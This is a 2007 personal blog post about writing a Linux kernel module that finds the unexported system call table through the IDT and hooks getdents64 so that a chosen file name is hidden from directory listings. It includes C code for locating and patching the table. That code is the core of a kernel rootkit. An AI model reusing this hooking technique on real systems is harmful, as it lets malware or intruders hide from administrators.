in the name of zero

January 29, 2007

soap crazy

recently… i’ve been watching more and more ju mong!

January 2, 2007

how to hide porn on Gentoo Linux

i need a more creative title.

[ 2.6 and the system call table ]

I’m following an article[1] about lkms, but encountered a bit of a stumbling block as the system call table is not exported on 2.6

arch/i386/kernel/traps.c :: void __init trap_init(void)
shows the interrupt 0x80 vector with its handler (system_call) being setup on the Interrupt Descriptor Table.

arch/i386/kernel/entry.S :: ENTRY(system_call)
the handler stub is being setup. the label “syscall_call” is interesting. it does a call to “sys_call_table” with an offset depending on the system_call number in eax.

arch/i386/kernel/syscall_table.S :: ENTRY(sys_call_table)
here we have the system call table function pointer entries.

so if i know the address of the IDT, maybe i could trace my way to the call is being made to get the address of the sys_call_table.

i could search for the address of “sysacll_call” inside the kernel elf image (there are some ways to do that). then, extract the address of sys_call_table from the raw opcode listing.

misha@heaven /usr/src/linux $ readelf -s vmlinux | grep -i syscall_call
   435: c010318e     0 NOTYPE  LOCAL  DEFAULT    1 syscall_call
	
misha@heaven /usr/src/linux $ grep -i syscall_call System.map
c010318e t syscall_call
	
misha@heaven /usr/src/linux $ gdb vmlinux
(no debugging symbols found)
Using host libthread_db library "/lib/libthread_db.so.1".
gdb $ x/x &syscall_call
0xc010318e <syscall_call>:      0xc08514ff

it’s a 7 byte instruction. 3 bytes for opcode/modrm/sib + 4 byte address. going further…

gdb $ x/x &syscall_call+3
0xc0103191 <syscall_call+3>:    0xc04075c0
	
gdb $ x/x &sys_call_table
0xc04075c0 <sys_call_table>:    0xc0124e20

worth a shot.

struct idt_t {
	unsigned short limit;
	unsigned int base;
} __attribute__ ((packed));
	
struct idt_entry {
	unsigned short	low_offset;
	unsigned short	segment_selector;
	unsigned char	byte_pad;
	unsigned char	flags;
	unsigned short	high_offset;
} __attribute__ ((packed));
	
#define	BLOCKSIZE		0xff
#define	CALL_OPCODE		"\xff\x14\x85"		/* fingerprint */
#define SYSCALL_VECTOR		0x80
#define idt_entry_size		(sizeof(struct idt_entry))
#define vector_offset(x)	((x)*idt_entry_size)
	
static struct idt_entry *get_idt_desc(int vector)
{
	struct idt_t idt;
	
	/* load address of interrupt descriptor table */
	__asm__ ("sidt %0" : "=m" (idt));
	
	/* get idt entry offset of vector */
	return (struct idt_entry *)(idt.base + vector_offset(vector));
}
	
static unsigned long *get_handler_offset(struct idt_entry *gate)
{
	if (!gate) return NULL;
	
	return (unsigned long *)(gate->high_offset << 16 | gate->low_offset);
}
	
static unsigned long *get_sct(void)
{
	int 		i;
	struct		idt_entry *sys_gate;
	char		*entry;
	
	sys_gate = get_idt_desc(SYSCALL_VECTOR);
	
	entry = (char *) get_handler_offset(sys_gate);
	
	if (entry) {
		/* iterate thru each byte in BLOCKSIZE range
		 * starting at ENTRY(system_call) */
		for (i=0; i<blocksize ; i++, entry++)
			if (!strncmp(entry, CALL_OPCODE, 3)) goto out;
	}
	
	return NULL;
	
out:
	/* skip 3 bytes (opcode RM SIB) */
	entry += 3;
	
	/* UGLY: dereference to get addr of sys_call_table */
	return (unsigned long *)(*(unsigned long *)entry);
}

i checked the value i got against the value in System.map and it matched. wee!

[ sys_getdents64 ]
a quick ’strace ls’ showed that sys_getdents64() is the kernel system call interface responsible for reading the dirent structures.

misha@heaven ~/mydir $ strace ls 2>&1 | grep -i getdents
getdents64(3, /* 2 entries */, 131072)  = 48
getdents64(3, /* 0 entries */, 131072)  = 0

next comes updating of the relevant entry in the system call table with my own brew[2]. (writing to sys_call_table[] went without a hitch for some reason…)

long (*o_getdents64)(unsigned int, struct linux_dirent64 *, unsigned int);
long n_getdents64(unsigned int, struct linux_dirent64 *, unsigned int);
	
o_getdents64 = sys_call_table[__NR_getdents64];
sys_call_table[__NR_getdents64] = n_getdents64;

and then finally, modify the dirent array so that the structure for the file i wish to remain hidden becomes transparent. what i did is to add the d_reclen value of the current dirent to the d_reclen field of the dirent structure immediately preceeding the current dirent. prolly not the best way to do things.

[ trying things out: ]
so the filename “hideme” is our magic filename string.

misha@heaven ~/mydir $ echo "hello world" >> hideme
	
misha@heaven ~/mydir $ cat hideme
hello world
	
misha@heaven ~/mydir $ ls -l
total 0

notes:
just my baptism of fire into the wonderful world of linux lkms. not foolproof as it is entirely dependent on just a single syscall (getdents64) but at least i could count on being safe from my mom.

tab completion doesn’t work on the “magic string” too.

references:
[1] Nearly Complete LKM Guide by pragmatic version 1.0
[2] mygentdents.c

Get free blog up and running in minutes with Blogsome | Theme designs available here